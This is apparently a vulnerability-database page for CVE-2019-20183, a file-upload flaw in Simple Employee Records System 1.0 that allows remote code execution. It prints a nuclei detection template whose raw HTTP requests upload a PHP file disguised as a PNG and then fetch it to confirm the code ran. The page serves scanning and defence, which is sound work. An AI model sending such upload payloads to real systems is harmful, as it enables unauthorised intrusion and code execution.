Browse / CVEs / CVE-2019-20183
CVE-2019-20183· employee records system project / employee records system· CWE-434
Simple Employee Records System 1.0 - Unrestricted File Upload
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
Impact
Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
Fix
Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
How to confirm it
Send: POST /dashboard/uploadID.php ; GET /uploads/employees_ids/{{endpoint}}
Positive when: contains in body_2 "1ad0d710225c472cb7396b3c1d97e4dd"Run it with nuclei: nuclei -id CVE-2019-20183 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-20183
info:
name: Simple Employee Records System 1.0 - Unrestricted File Upload
author: pikpikcu,j4vaovo
severity: high
description: |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
impact: |
Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
remediation: |
Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
reference:
- https://www.exploit-db.com/exploits/49596
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
- https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2019-20183
cwe-id: CWE-434
epss-score: 0.0777
epss-percentile: 0.94691
cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: employee_records_system_project
product: employee_records_system
tags: cve,cve2019,edb,rce,fileupload,intrusive,employee_records_system_project,vuln
http:
- raw:
- |
POST /dashboard/uploadID.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
Content-Type: image/png
<?php
echo md5('CVE-2019-20183');
unlink(__FILE__);
?>
-----------------------------5825462663702204104870787337--
- |
GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_2
words:
- "1ad0d710225c472cb7396b3c1d97e4dd"
extractors:
- type: regex
name: endpoint
regex:
- '(?:[a-zA-Z0-9+\/])*_poc.php'
internal: true
part: bodyReferences
- https://www.exploit-db.com/exploits/49596
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
- https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from